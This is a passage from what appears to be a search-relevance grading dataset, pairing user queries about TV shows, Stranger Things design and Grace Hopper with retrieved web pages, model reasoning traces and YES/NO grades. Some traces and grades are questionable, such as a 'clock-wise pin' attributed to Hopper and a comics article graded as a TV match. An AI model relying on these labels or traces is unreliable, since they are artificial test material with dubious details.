            "1. The movie being described is \"Howl's Moving Castle\".\n\n2. The TV show being described is likely \"Teen Titans\" or \"Young Justice\".\n\n3. A good documentary covering the history and cultural significance of samurai in Japan could be \"The Samurai\" by NHK.\n\n4. A video essay analyzing themes and symbolism in classic film noir movies could be \"The Subversive Genius of Double Indemnity\" by Lessons from the Screenplay.\n\n5. A good instructional cooking video for an authentic Thai curry dish could be \"Massaman Curry | Marion's Kitchen\" on YouTube."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "tv show",
                "url": "https://www.stolenhistory.org/tags/tv-show/",
                "published_date": "2021-05-18",
                "text": "TV Show | Tribes of Europa\n\nTitle: Tribes of Europa\nGenre: Sci-Fi & Fantasy, Drama\nFirst aired: 2021-02-19\nCreator: Philip Koch\nCast: Emilio Sakraya, Henriette Confurius, David Ali Rashed, Oliver Masucci, Melika Foroutan, James Faulkner\nOverview: 2074. In the wake of a mysterious global disaster, war rages...\n\nKorbenDallas \n Article\n May 18, 2021\n\neurope\n technology\n tribes\n tv show\n\nReplies: 0\n Section: TV Shows\n\nTV Show | Westworld\n\nTitle: Westworld\nGenre: Western, Science Fiction\nFirst aired: 2016-10-02\nCreator: Jonathan Nolan, Lisa Joy\nCast: Evan Rachel Wood, Thandie Newton, Jeffrey Wright, Tessa Thompson, Ed Harris, Aaron Paul, Vincent Cassel\nOverview: A dark odyssey about the dawn of artificial...\n\nKorbenDallas \n Article\n Dec 21, 2020\n\ntv show\n\nReplies: 0\n Section: TV Shows",
                "model_trace": "Query Decomposition:\n1. {TV show that follows a group of teenagers/young adults}: The document mentions TV shows but does not specify if they follow a group of teenagers/young adults -> ([0], UNSURE)\n2. {Characters with special powers or abilities}: The document does not mention any characters with special powers or abilities -> ([0], UNSURE)\n3. {Form a team to fight crime and protect their city}: The document does not provide information about forming a team to fight crime and protect their city -> ([0], UNSURE)\n4. {Comic book/superhero vibe}: The document does not mention a comic book or superhero vibe -> ([0], UNSURE)\n\nAssessment: The document does not contain specific information about any of the subcomponents of the query. NO."
            },
            {
                "grade": "NO",
                "title": "Sakkigoni - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Sakkigoni",
                "published_date": "2019-10-01",
                "text": "From Wikipedia, the free encyclopedia\n\nSakkigoni Title screen of the show Nepali \u0938\u0915\u094d\u0915\u093f\u0917\u094b\u0928\u093f Genre Sitcom Drama Screenplay by Arjun GhimireKumar Kattel Directed by Arjun GhimireKumar Kattel Creative director Deepak Acharya Presented by OSR Digital Starring Arjun Ghimire, Kumar Kattel, Sagar Lamsal, Priyana Acharya, CP Pudasaini, Subodh Gautam, Shankhar Acharya, Rashmi Pandey, Rakshya Shrestha, Hari Niraula, Ram Bhajan Kamat, Purushottam Acharya, Deepak Acharya, Kamalmani Nepal, Madhusudhan Pathak, Govinda Koirala, Sita Devi Ghimire, Rabi Khanal Theme music composer Arjun Pokharel Opening theme \"Sakkigoni\" Ending theme \"Sakkigoni\" Country of origin Nepal Original language Nepali No. of seasons 2 No. of episodes 58 Production Executive producer Usha Poudel Cinematography Gokul AdhikariSudip Baral Editor Rajendra Manandhar Camera setup Multi-camera Running time 30 minutes (approx.) Distributor OSR Digital Release Original network Nepal Television (2019\u20132020) Himalaya TV (2020 \u2013 present) Original release 19 September 2019 \u2013present \n Sakkigoni is a Nepali TV series that airs every Thursday on Himalaya TV at 8:00 pm. It is one of the most popular television programs in Nepal. The producers are Jpt Creation Pvt Ltd. Kumar Kattel with Arjun Ghimire as the writer and director of the show. [1] The story is based on the rural lifestyle of lower-middle-class people. The show stars Arjun Ghimire, Kumar Kattel, Rakshya Shrestha, Hari Niraula, and Sagar Lamsal as the main characters. [2] \n The show, originally airing on Nepal Television, was halted in March 2020 due to the COVID-19 pandemic. [3] In November 2020, it was announced that the show would return on 10 December 2020, now airing on Himalaya TV was airing on OSR Digital's official YouTube channel now it airing on JPT Creation official YouTube channel 8:30 pm. [4]\n\nCast[edit]\n Arjun Ghimire (Padey)\nAbishkar Rijal (old man)\nKumar Kattel (Jigri)\nKamalmani Nepal (Khupika Bau)\nDipak Acharya (Kaku)\nSagar Lamsal (Bale)\nHarish Niraula (Cockroach)\nRakshya Shrestha (Rakshya)\nGovind",
                "model_trace": "Query Decomposition:\n1. {TV show that follows a group of teenagers/young adults}: The document does not mention teenagers or young adults -> ([0], UNSURE)\n2. {characters have special powers or abilities}: The document does not mention special powers or abilities -> ([0], UNSURE)\n3. {form a team to fight crime and protect their city}: The document does not mention fighting crime or protecting a city -> ([0], UNSURE)\n4. {comic book/superhero vibe}: The document does not mention a comic book or superhero vibe -> ([0], UNSURE)\n\nAssessment: The document does not provide any information relevant to the query's subcomponents. NO."
            },
            {
                "grade": "NO",
                "title": "Split Second (TV series) - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Split_Second_(TV_series)",
                "published_date": "2006-12-12",
                "text": "From Wikipedia, the free encyclopedia\n This article is about the Hong Kong crime drama. For the American-Canadian game show, see Split Second (game show).\n Split Second \u722d\u5206\u596a\u79d2 Genre Crime thriller Action Written by Wong Wai-keung Starring Alex Fong Kevin Cheng Patrick Tam Marco Ngai Yoyo Mung Moses Chan Sririta Jensen Chatchai Plengpanich Country of origin Hong Kong Original language Cantonese No. of episodes 30 Production Producer Marco Law Production locations Hong Kong Thailand Camera setup Multi camera Production companies TVB TV3 Release Original network TVB Jade Original release 4 October \u201312 November 2004 Chronology Preceded by War and Beauty Followed by The Last Breakthrough \n Split Second is a 2004 Hong Kong crime thriller television drama produced by TVB and Thailand's TV3, with Marco Law serving as the executive producer. It ran from October 4, 2004 to November 12, 2004, with the total of 30 episodes.\n This show uses a format similar to the American series 24 . Each one-hour episode represents one day in the show's timeline, and an on-screen digital clock appears in the show regularly to remind viewers the time in the storyline.\n\nSynopsis[edit]\nThis story is about the 30-day game of chasing between the Hong Kong police and the Hong Kong Triads, who are allegedly linked to the Thai mafia. The story starts on April 1, 2004 with an attack on the police commissioner, and ends on April 30, 2004, with the deaths of many good people.\n\nCharacters[edit]\n Fung Chi Wai (Alex Fong (\u65b9\u4e2d\u4fe1)) \u2014 A Hong Kong Policeman tried to find evidence in order to arrest the group of triads in Hong Kong which is also linked with the Thai mafia.\n Wong Ka Fai (Kevin Cheng (\u912d\u5609\u7a4e)) \u2014 Chief Inspector of Hong Kong CIB, team A. Knowing himself has brain cancer and not much time left, he tried to find the mole inside the CIB, who is placed by the Hong Kong triads.\n Yeung Kai Tung (Patrick Tam (\u8b5a\u8000\u6587)) \u2014 Originally an ordinary Hong Kong police constable (PC) but later became an undercover in the Hong Kong triads.\n Hau Man Wah (Marco Ngai (\u9b4f\u99ff\u5091)) \u2014",
                "model_trace": "Query Decomposition:\n1. {TV show that follows a group of teenagers/young adults}: The document describes a TV show involving Hong Kong police and triads, not a group of teenagers or young adults -> ([1], UNSATISFIED)\n2. {Characters have special powers or abilities}: The document does not mention any characters with special powers or abilities -> ([1], UNSATISFIED)\n3. {Form a team to fight crime and protect their city}: The document describes a police team fighting crime, but not in the context of a superhero or comic book vibe -> ([2], UNSATISFIED)\n4. {Comic book/superhero vibe}: The document describes a crime thriller and not a comic book or superhero-themed show -> ([2], UNSATISFIED)\n\nAssessment: None of the subcomponents are satisfied. NO."
            },
            {
                "grade": "NO",
                "title": "Since Batman has no superpowers, is he technically not a ...",
                "url": "https://www.quora.com/Since-Batman-has-no-superpowers-is-he-technically-not-a-superhero",
                "published_date": null,
                "text": "The trick here lies in the word \u201cpowerful\u201d. That's where so many detractors and, sadly, Bat-fans get stuck.   In the superhero world, Batman isn't \u201cpowerful\u201d. He's capable.   He's nearly unmatched as a detective. He's a brilliant tactician. He is not afraid to consider all possibilities, even the very darkest.   And he has never been afraid to face down anyone in his way, be they human, Kryptonian, or god.   He doesn't win every fight, but he never stops getting up and coming back.       There are any number of heroes and villains in the DC Multiverse who should be able to wipe the floor with Batman, but he is effectively the equal of any of them.   He is a \u201cmere\u201d human, although he's easily one of the smartest, most athletic, best trained, best educated, and most capable humans on the planet. He is also obsessed, which is the only reason he's managed to achieve so much.   He's also one of the most dark and damaged humans on Earth, but he uses that pain to drive his fight for justice.   This man is not afraid to call out Superman.       Yet he knows that the only reason he stands a chance against Superman is that Superman holds back. Batman is no fool.       He made himself clear with J'on J'onzz, a powerful Martian who had just helped save the world, just to avoid misunderstandings.       And he did not hesitate to stand up to Darkseid (whom he outwitted) when Kara Zor-El needed to be rescued.           He has contingency plans to take out any member of the Justice League if necessary, including himself. He has considered how dangerous he, himself, could be if things went wrong.       He doesn't need to be more powerful. He's Batman.       Plus, he has Alfred. Never count out Alfred.         ||||I||||                Skip to content\n                Skip to search\n                Sign In\n                    Since Batman has no superpowers, is he technically not a superhero?\n                      All related (63)\n                Sort\n                      Recommended\n                                                ",
                "model_trace": "Query Decomposition:\n1. {TV show}: This document is a webpage discussing Batman, not a TV show -> ([1], UNSATISFIED)\n2. {group of teenagers/young adults with special powers}: The content is focused on Batman, who is a single character without superpowers -> ([1], UNSATISFIED)\n3. {team to fight crime and protect their city}: The content does not mention a team of teenagers/young adults fighting crime -> ([1], UNSATISFIED)\n4. {comic book/superhero vibe}: The content does discuss superhero-related themes, specifically Batman -> ([2], SATISFIED)\n\nAssessment: The relevant subcomponents are {TV show}, {group of teenagers/young adults with special powers}, and {team to fight crime and protect their city}. Since these subcomponents are not satisfied, the document is not helpful for the user's request. NO."
            },
            {
                "grade": "YES",
                "title": "Faster than a speeding joyrider \u2026 Misfits gives asbo teens ...",
                "url": "https://www.theguardian.com/tv-and-radio/2009/nov/07/misfits-e4-superhero-sci-fi",
                "published_date": null,
                "text": "I'd wanted to do something new in the superhero genre for ages. Even before the US TV series Heroes came out this was on my mind. It had to be uniquely British. In the same way that Shaun Of The Dead took the zombie genre and made it ours \u2013 I wanted to do that with superheroes. With my new E4 series Misfits, I started with the bare bones of an idea: five people get hit by a flash storm and get superpowers as a result. It was time to make like Ben Grimm, The Thing, and start clobbering it into shape. So I had the idea, now I needed the heroes. I honed in on the least likely, most unheroic group I could find. I'd been reading the papers about asbo kids and it struck me that young offenders doing community service were exactly what I was after: a gang of strangers from different walks of life, thrown together who don't particularly want to know each other. Perfect. But I wanted to delve a bit deeper than the demonised caricature young offenders we read about. These kids in Misfits aren't angels, but they haven't stabbed or shot anyone; they just got trapped by circumstance. It's no secret that there are plenty of middle-class kids who take drugs or drink-drive but don't get caught. Misfits is about the ones who aren't so lucky. You could argue there is a social-inclusion subtext but I'm really not trying to push that. I'm always reluctant to tack on a message to any drama. Once you start trying to deliver a message (especially when it's a fun and irreverent show as Misfits is intended to be) you find yourself turning into some street-corner crazy. That's not what drama is about. 'My characters don't always use their powers for the greater good \u2013 that's where the fun starts'       Antonia Thoma as Alisha. Photograph: Mark Johnson   More important than any message for me was the question of how you handle being a superhero when society is already looking down on you. That's the experience of a young offender. It's also about having the responsibility of greater powers; my characters don't always use it for the greater",
                "model_trace": "Query Decomposition:\n1. {TV show that follows a group of teenagers/young adults}: The document mentions a TV show called \"Misfits\" that follows young offenders -> ([1], SATISFIED)\n2. {special powers or abilities}: The document states that the characters get superpowers after being hit by a flash storm -> ([1], SATISFIED)\n3. {form a team to fight crime and protect their city}: The document describes the characters as not always using their powers for the greater good, but it implies they are involved in superhero activities -> ([2], SATISFIED)\n4. {comic book/superhero vibe}: The document explicitly mentions the superhero genre and compares the show to other superhero narratives -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied. The document provides information about the TV show \"Misfits,\" which fits the description given in the query. YES"
            },
            {
                "grade": "YES",
                "title": "X-Men",
                "url": "https://en.wikipedia.org/wiki/X-Men",
                "published_date": null,
                "text": "X-Men       Variant cover of X-Men (Vol. 6) #2 (October 2021) (representing the first elected Krakoan X-Men team).Depicting (clockwise from left): Synch, Wolverine, Sunfire, Marvel Girl, Rogue, Polaris, and Cyclops.Art by Mahmud Asrar.     Publication information    Publisher   Marvel Comics     First appearance    The X-Men  #1(September 1963)   Created by  Stan Lee  Jack Kirby    In-story information   Base(s)  Current: The Treehouse(Krakoan base) New York City  Former:  Xavier's School for Gifted Youngsters  Westchester County, New York    Leader(s)  Professor X    Member(s)  Current:  Cyclops  Jean Grey  Synch  Firestar  Iceman  Havok  Forge  Magik  Former: See: List of X-Men members    \nThe X-Men are a superhero team appearing in American comic books published by Marvel Comics. Created by artist/co-plotter Jack Kirby and writer/editor Stan Lee, the team first appearing in  The X-Men  #1 (September 1963). [1]  Although initially cancelled in 1970 due to low sales, following its 1975 revival and subsequent direction under writer Chris Claremont, it became one of the most recognizable and successful franchises of Marvel Comics. [2]  They have appeared in numerous books, television shows, the 20th Century Fox  X-Men films, and video games. The X-Men title may refer to the superhero team itself, the eponymous comic series, or the broader franchise including various solo titles and team books such as the New Mutants, Excalibur, and X-Force.\n In the Marvel Universe, mutants are humans who are born with a genetic trait called the X-gene which grants them natural superhuman abilities. Due to their differences from the majority of humanity, mutants are subject to prejudice and discrimination and many X-Men stories feature social commentary on bigotry and justice. The X-Men have fought against a variety of enemies, including villainous mutants, human bigots, supervillains, mystical threats, extraterrestrials, and malevolent artificial intelligences. In most iterations of the team, they are led by their founder Charles ",
                "model_trace": "Query Decomposition:\n1. {TV show that follows a group of teenagers/young adults}: The document mentions that the X-Men have appeared in numerous television shows -> ([1], SATISFIED)\n2. {characters with special powers or abilities}: The document describes the X-Men as mutants with natural superhuman abilities -> ([1], SATISFIED)\n3. {form a team to fight crime and protect their city}: The document mentions that the X-Men are a superhero team that fights against various enemies -> ([1], SATISFIED)\n4. {comic book/superhero vibe}: The document clearly states that the X-Men are a superhero team from comic books published by Marvel Comics -> ([1], SATISFIED)\n\nAssessment: All relevant subcomponents are satisfied by the document. YES."
            }
        ]
    },
    {
        "query": "I'm a big fan of the TV show 'Stranger Things' and I'm trying to recreate the iconic 80s aesthetics and user interfaces in my own project. I've found some tutorials on how to create retro-style graphics and animations, but I'm struggling to get the right look and feel for the menus, buttons, and other UI elements. Do you have any recommendations for libraries, tools, or design patterns I can use to faithfully recreate the Stranger Things UI?",
        "grid_pos": [
            2,
            5
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Github/StackOverflow/Code/Debugging Resource",
        "reasoning_trace": [
            "The queries cover a range of technical topics that require specific knowledge and resources to answer well, including:\n1. Structuring nested data in a CSV file for web scraping\n2. Finding open-source medical datasets for machine learning\n3. Choosing the right pathfinding algorithm for game AI\n4. Implementing real-time functionality like chat in a web app\n5. Recreating the retro UI style of Stranger Things in a personal project\nThese queries require the user to have a deep understanding of the respective domains, as well as familiarity with relevant tools, libraries, and best practices. The level of detail and nuance in each query makes them challenging for a standard search engine to answer comprehensively."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Stranger Things Type Generator - Nelson Cash",
                "url": "http://makeitstranger.com/",
                "published_date": null,
                "text": "Stranger\n\nStranger\n\nThings\n\n2\n\nStranger\n\nThings\n\nStranger\n\nThings\n\n2\n\nMake your own\n Made by Nelson Cash.\n\nLoading",
                "model_trace": "Query Decomposition:\n1. {Recommendations for libraries, tools, or design patterns}: The user is looking for specific recommendations for libraries, tools, or design patterns to recreate the Stranger Things UI -> ([1], UNSATISFIED)\n2. {Faithfully recreate the Stranger Things UI}: The user wants to achieve a look and feel similar to the Stranger Things UI for menus, buttons, and other UI elements -> ([2], UNSURE)\n\nAssessment: The document does not provide specific recommendations for libraries, tools, or design patterns. It appears to be a type generator related to Stranger Things, but it does not satisfy the user's need for comprehensive tools or design patterns to recreate the UI elements. NO."
            },
            {
                "grade": "NO",
                "title": "(FREE) Stranger Things Text Generator - MockoFUN",
                "url": "https://www.mockofun.com/template/stranger-things-text-generator/",
                "published_date": "2020-04-29",
                "text": "Stranger Things text generator that you can edit online with MockoFun text editor. If you are looking for stranger things text generator online, you can try MockoFun \u2013 it\u2019s free! Edit the text, change the font if you want, adjust the color of the text, the size, etc. All the elements are in separate layers (Layers menu). This stranger things text effect looks great on black background.\n\nUse this template\n\nStranger Things text generator that you can edit online with MockoFun text editor. If you are looking for stranger things text generator online, you can try MockoFun \u2013 it\u2019s free! Edit the text, change the font if you want, adjust the color of the text, the size, etc. All the elements are in separate layers (Layers menu). This stranger things text effect looks great on black background. If you want to replace the background with a creepy image you can do that. Go to Elements > Photos, choose a forest photo and use the Filters to darken the image, desaturate, etc. The original Stranger Things font is called ITC Benguiat, but close replacements are present in MockoFun. If you\u2019re interested in more information about retro typography check out this awesome article about 80s fonts. Use the stranger things font generator to make a cool text overlay, a movie poster, a T-shirt design and so on. The stranger things generator allows you to make all the customization that you want. The template has all the elements in separate layers just like in Photoshop. Create stranger things logo easily with just a few clicks. Or, if you want to create stranger things intro, you can do that too. How to get the stranger things font? The stranger things text font generator from MockoFun is really awesome. It uses a stranger things outline font that is very similar with the original. Generate cool and amazing fonts by using EB Garamond font generator.\nUse the stranger things font online for free! Inside the template you also have 2 logos, So, if you are searching for a stranger things logo maker, you are in the right place. IMPORTANT: Aft",
                "model_trace": "Query Decomposition:\n1. {libraries, tools, or design patterns for recreating Stranger Things UI}: This document talks about a specific tool (MockoFun) for generating Stranger Things-style text, which is a part of the UI -> ([1], SATISFIED)\n2. {faithfully recreating Stranger Things UI}: The document provides a tool to generate text that mimics the Stranger Things style but does not cover other UI elements like menus, buttons, etc. -> ([1], UNSATISFIED)\n\nAssessment: The document provides a useful tool for generating Stranger Things-style text but does not cover the full range of UI elements needed to faithfully recreate the entire Stranger Things UI. Therefore, it only partially satisfies the query.\n\nNO"
            },
            {
                "grade": "NO",
                "title": "The typography of 'Stranger Things'",
                "url": "https://www.invisionapp.com/inside-design/typography-stranger-things/",
                "published_date": "2017-10-27",
                "text": "Update 10/27/2017: In honor of the premier of season 2 of Stranger Things, we\u2019re re-sharing this\u2014one of our most popular posts of all time. Enjoy!\nLike most of us at Nelson Cash, you\u2019ve probably heard about Netflix\u2019s latest cult show Stranger Things from your best friend or work buddy. And if you\u2019re like me, you innocently pushed play on a work night and by midnight realized the scene in your living room was looking a lot like that one Portlandia skit.\nYes, the show is really that good. But what got me? Besides brilliant character development, a killer score, and all those warm and fuzzy nods to my youth?\nThese 52 seconds:\n\nAs a person who spends her days trying to effectively communicate with people through design, I recognized another star on the screen: that typography, tho. ?\nThe Stranger Things title sequence is pure, unadulterated typographic porn. With television shows opting for more elaborate title sequences (think GOT and True Detective ), the opening of Stranger Things is refreshingly simple. It trims the fat and shows only what is necessary to set the mood. More importantly, it proves a lesson I\u2019ve learned time and time again as a designer: You can do a lot with type.\n \u201cThe Stranger Things title sequence is pure, unadulterated typographic porn.\u201d \nBut how do a few pans of a logo accomplish so much in such a short amount of time? I break down its typographic success to 3 powerful plays: recognition, scale, and palette.\n1. Recognition\nThe Stranger Things logo probably looks strangely familiar, taking you back to an era when Stephen King reigned supreme. The show\u2019s creators, Matt and Ross Duffer, directly cite King as the inspiration behind the show\u2019s logo, having sent copies of King\u2019s novels to Imaginary Forces, the creative studio behind the title sequence.\n Stephen King novel covers, the inspiration behind the Stranger Things logo. \nImmediately recognizable to anyone that lived through the 80s, those covers bring chills to your spine. Using a modified version of the distinctive typeface Benguiat, the S",
                "model_trace": "Query Decomposition:\n1. [Information on recreating 80s aesthetics and user interfaces]: The document focuses on the typography and title sequence of 'Stranger Things', specifically discussing the typeface and design inspiration -> ([1], UNSATISFIED)\n2. [Recommendations for libraries, tools, or design patterns for UI elements]: The document does not provide any recommendations for libraries, tools, or design patterns for UI elements -> ([0], UNSURE)\n\nAssessment: The document primarily discusses the typography used in 'Stranger Things' and does not provide information or recommendations on recreating 80s aesthetics and user interfaces, nor does it offer tools or design patterns for UI elements. Therefore, it does not satisfy the key subcomponents of the query. NO."
            },
            {
                "grade": "NO",
                "title": "Get The Look: Recreate the 80s Aesthetic and Retro ...",
                "url": "https://elements.envato.com/learn/stranger-things-design",
                "published_date": null,
                "text": "Want to emulate the nostalgic 80s aesthetic from Stranger Things? Combining all things spooky and retro, here are some of the best Stranger Things inspired items on Envato Elements.     Since it first aired in 2016, the Netflix show Stranger Things has become a global phenomenon. A supernatural drama series set in the 1980s, Stranger Things has gripped viewers worldwide with its retro design, music, colors, and fashion, all serving a healthy dose of nostalgia. The visual impact of the series has resonated with people worldwide, reviving the 80s aesthetic across graphic design, cinema, fashion, and advertising.\u00a0     What Is Stranger Things?\n    \n  Stranger Things is a popular Netflix TV series set in 1980s Indiana, where a teen (Eleven) with powerful psychic powers escapes a super secret government institution. She soon joins forces with regular local kids Mike, Dustin, Lucas, and Will to battle myriad man-made monsters, including the chillingly calculating Dr. Brenner.   Developed by American film and television writers, directors, and producers, the Duffer Brothers, Stranger Things is a mix of investigative drama, sci-fi, horror, and adventure. The show is inspired by the terrifying true story of secret government experiments conducted during the Cold War.\u00a0   Its captivating storyline aside, Stranger Things is widely acclaimed for the iconic 80s aesthetics and design elements used on its set and design \u2013 from mullets, boomboxes, and Eggo waffles to neon colors, chunky text effects, and cosmic 80s fonts. Positively oozing within 80\u2019s pop culture, Stranger Things has attracted a record viewership with its unique storyline, nostalgic atmosphere, and homage to iconic 1980s films.     What Is 80s Design?\u00a0\n    There\u2019s no denying that the 80s was an eye-catching era \u2013 think vibrant colors, crazy patterns, lycra leggings, and larger-than-life hairstyles. It was a decade defined by technology, which saw bright neon colors, futuristic fonts, angular patterns, and an explosion of pop culture. It all influenced the evolutio",
                "model_trace": "Query Decomposition:\n1. {recreate the iconic 80s aesthetics and user interfaces from Stranger Things}: The document discusses the 80s aesthetic inspired by Stranger Things, including design elements like neon colors, chunky text effects, and cosmic 80s fonts -> ([1], SATISFIED)\n2. {recommendations for libraries, tools, or design patterns}: The document does not provide specific libraries, tools, or design patterns for recreating the UI elements -> ([0], UNSATISFIED)\n\nAssessment: The document satisfies the subcomponent related to the 80s aesthetic but does not address the need for specific libraries, tools, or design patterns for UI elements. Therefore, it is not fully helpful for the user's query. NO."
            },
            {
                "grade": "YES",
                "title": "Re: Stranger Things Intro? - After Effects",
                "url": "https://community.adobe.com/t5/after-effects/stranger-things-intro/m-p/8486378",
                "published_date": null,
                "text": "actually this title sequence may seem at first glance like an easy thing to pull off in Ae but if we look who is behind this, we discover that it is one of the lead if not the most famous studios that does this type of work - Title Sequences Netflix Stranger Things Main Title | Imaginary Forces and as you can tell by the credit list: not a one's man job in Ae in 30 minutes time. this design has fine details both in precision of movement and texture and color. more information here: Stranger Things - Fonts In Use     Texture         I believe this was not done in Ae but in the design process I am guessing in Photoshop - the texture could be a result of brushes with textures, or a texture placed on top of the letters with some sort of blending mode to blend it together. anyways - this was carefully executed to get an organic, book cover feel, kind of Dithering appearance that gives it a retro feel to the letters.(just for fun)     Color     was probably set in the design App through some color adjustment layers. a good workflow would be to set the letters as a gray-scale colors from black to white and keep the flexibility in adjustment layers that will change the colors by tone remapping. Photoshop has Gradient Map, After Effects has Colorama.  unfortunately Ps Gradiant Map is not supported in Ae, so would have to replicate the process through Colorama. but I do believe this was first achieved in the design App before any Animation or Compositing was done, and later replicated.     FONT    has a great deal of impact on the overall look. a quick internet search found this:    ITC Benguiat\u00ae - Desktop font \u00ab MyFonts     Glows    these were probably done in the Animation/Compositing stage = there many ways to create Glows in Ae. with 3rd party plugins you will get the result fast and rich effect. just look for after effects glow plugin (or not) and you will see what's possible. setting an adjustment layer with fast blur and on top of it CC Composite effects set to \"screen\" or \"in front\" and dimming opacity - can get a ",
                "model_trace": "Query Decomposition:\n1. {Libraries, tools, or design patterns for recreating Stranger Things UI}: This document discusses the process and tools used to create the Stranger Things title sequence, including After Effects, Photoshop, and specific techniques for texture, color, and glows -> ([1], SATISFIED)\n2. {Menus, buttons, and other UI elements}: The document primarily focuses on the title sequence and does not mention menus, buttons, or other UI elements -> ([0], UNSURE)\n\nAssessment: The document provides useful information about creating retro-style graphics and animations similar to the Stranger Things title sequence, but it does not address the specific needs for menus, buttons, and other UI elements. However, since the query is primarily about recreating the Stranger Things UI and the document provides relevant tools and techniques, it partially satisfies the main intent. YES."
            },
            {
                "grade": "NO",
                "title": "The Art of Stranger Things",
                "url": "https://mograph.com/2021/08/strangerthings/",
                "published_date": null,
                "text": "As fans gear up for season four of the popular sci-fi series, Visual Effects Designer Steven Messing offers a look at how aspects of the series are created in C4D.   By Meleah Maynard. All images are courtesy of Netflix.  \nThere aren\u2019t a lot of artists with a credits list like Emmy Award-winning Art Director Steven Messing\u2019s. Over his long career, Messing has contributed to more than 50 film and television projects, including Avatar sequels, Avengers, Alien Covenant, Transformers, Game of Thrones and Stranger Things. \nUsing Cinema 4D, Messing focuses primarily on art direction and the creation of complex 3D environments. As hype ramps up for season four of Netflix\u2019s  Stranger Things , we talked with Messing about his work on seasons two and three of the popular TV show. Here\u2019s what he told us.\n \n  This matte painting of character Will Byers\u2019 encounter with the Mind Flayer in the Upside Down was created in collaboration with Hydraulx.  \n Tell us about yourself and how you got into the industry.Messing: I grew up in the San Francisco Bay area and was always painting and drawing as a child. I came down to Los Angeles to go to film school at USC where I focused my education on lighting and cinematography. We were shooting on traditional 16mm film back then, and there were primitive digital film cameras at the time too. I was fortunate to learn a lot about cinematic lighting and how to cheat different optical effects on set.\nI got my start in the entertainment field working at Adobe Systems in San Jose, California. I tested software for Photoshop and Illustrator and produced graphics for Photoshop marketing campaigns. I learned a lot about the basic theory behind digital compositing as it advanced through the early 2000s.\u00a0Later, I studied design at Art Center College in Pasadena where I gained a wealth of knowledge from industry professionals and some very talented peers.\n \nAfter school, I worked in the cinematics departments at several video game studios before eventually working my way into feature films.\u00a0A good fri",
                "model_trace": "Query Decomposition:\n1. {recommendations for libraries, tools, or design patterns}: This document primarily focuses on an interview with Steven Messing about his work on Stranger Things and does not provide specific recommendations for libraries, tools, or design patterns -> ([1], UNSATISFIED)\n2. {recreating 80s aesthetics and user interfaces}: The document discusses the visual effects and art direction of Stranger Things, which may provide some inspiration but does not specifically address recreating 80s UI elements -> ([2], UNSURE)\n\nAssessment: The document does not provide specific recommendations for libraries, tools, or design patterns, which is the main intent of the query. While it may offer some general inspiration, it does not sufficiently address the user's need for practical resources to recreate the Stranger Things UI. NO."
            }
        ]
    },
    {
        "query": "I recently read a fascinating article about a female computer scientist who made significant contributions to early programming languages, particularly in the development of COBOL. She was known for her no-nonsense attitude and was often seen wearing her signature accessory. I believe she served in the Navy during World War II and continued her military career alongside her work in computer science. Can you help me find out who this pioneering woman was?",
        "grid_pos": [
            2,
            8
        ],
        "grid_pos_str": "Search Query Format: Context Query, Search Result Type: Person",
        "reasoning_trace": [
            "The reasoning for each query:\n\n1. The description points to Grace Hopper, a pioneering computer scientist known for her work on COBOL, her service in the US Navy, and her famous clock-wise pin.\n\n2. This query is describing Jacques Derrida, a French philosopher born in Algeria who is known for his work in deconstruction and post-structuralism.\n\n3. The query is likely referring to Bayard Rustin, a key organizer in the civil rights movement who worked closely with Martin Luther King Jr. but often remained in the background due to his sexual orientation.\n\n4. While there are several artists who could fit this description, one possibility is Olafur Eliasson, known for his large-scale installations that often incorporate natural elements and address environmental issues.\n\n5. The psychologist described is Daniel Kahneman, who along with Amos Tversky, developed prospect theory and made significant contributions to the field of behavioral economics, winning the Nobel Prize in Economics in 2002."
        ],
        "results": [
            {
                "grade": "NO",
                "title": "Queenie Muriel Francis Adams - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Queenie_Muriel_Francis_Adams",
                "published_date": "2015-12-02",
                "text": "From Wikipedia, the free encyclopedia\n\nQueenie Muriel Francis Adams, MRCS, LRCP, MFHom, (7 May 1902 \u2013 19 August 1999), also known as Queenie Muriel Frances Adams, was a British academic, physician, and missionary. After her education, Adams worked in the medical field both at home in London and abroad in Egypt. In addition to her medical work, Adams was a noted lecturer at Medical Service Ministries, then known as the Missionary School of Medicine, and All Nations Bible College. A strong proponent of homeopathy and the autonomous nervous system, Adams dedicated a portion of her work to raising awareness and advocating for these fields.\n Adams left behind a significant legacy through her teaching, medical work, founding of various organizations, and publication of Neither Male nor Female: A Study of the Scriptures, an analysis of women in the Bible. Her legacy of organizations included a Christian school in Cornwall, a charitable trust for Christian rehabilitation of patients with mental health issues, and a nursing home in Reading, England.\n\nEarly life[edit]\nQueenie Muriel Francis Adams was born on 7 May 1902 at Rose Cottage Stanmore in Hastings, Sussex, which is located on the south coast of England, and grew up in Little Stanmore, Middlesex. [1] She was born to William Grylls Adams, who worked as a consulting engineer and patent agent, and Annie Louisa Kate Brothers. She had two older sisters, Winifred and Alice, and two younger siblings, John and Dorothy. [2]\n\nEducation[edit]\nIn 1928, Adams enrolled in Redcliffe Missionary Training College, the first school to provide formal missionary training for women in England. [3] As Adams was a devout Christian, the college's curriculum, which focused on specifically training students for Christian mission work, aligned well with her spiritual beliefs. About a decade later, Adams enrolled in the Missionary School of Medicine, where she took a one-year course on serving as a medical missionary worker. In contrast to her time at Redcliffe, Adams' education at MSM represen",
                "model_trace": "Query Decomposition:\n1. {female computer scientist}: The document is about Queenie Muriel Francis Adams, who was a British academic, physician, and missionary, not a computer scientist -> ([1], UNSATISFIED)\n2. {significant contributions to early programming languages, particularly in the development of COBOL}: The document does not mention any contributions to programming languages or COBOL -> ([0], UNSURE)\n3. {known for her no-nonsense attitude and signature accessory}: The document does not mention any specific personality traits or signature accessories -> ([0], UNSURE)\n4. {served in the Navy during World War II and continued her military career alongside her work in computer science}: The document does not mention any military service or work in computer science -> ([0], UNSURE)\n\nAssessment: The relevant subcomponent is {female computer scientist}, which is not satisfied. The document does not provide information about a female computer scientist who contributed to early programming languages or COBOL. NO."
            },
            {
                "grade": "NO",
                "title": "Eunice Newton Foote - Wikipedia",
                "url": "https://en.wikipedia.org/wiki/Eunice_Newton_Foote",
                "published_date": "2016-01-31",
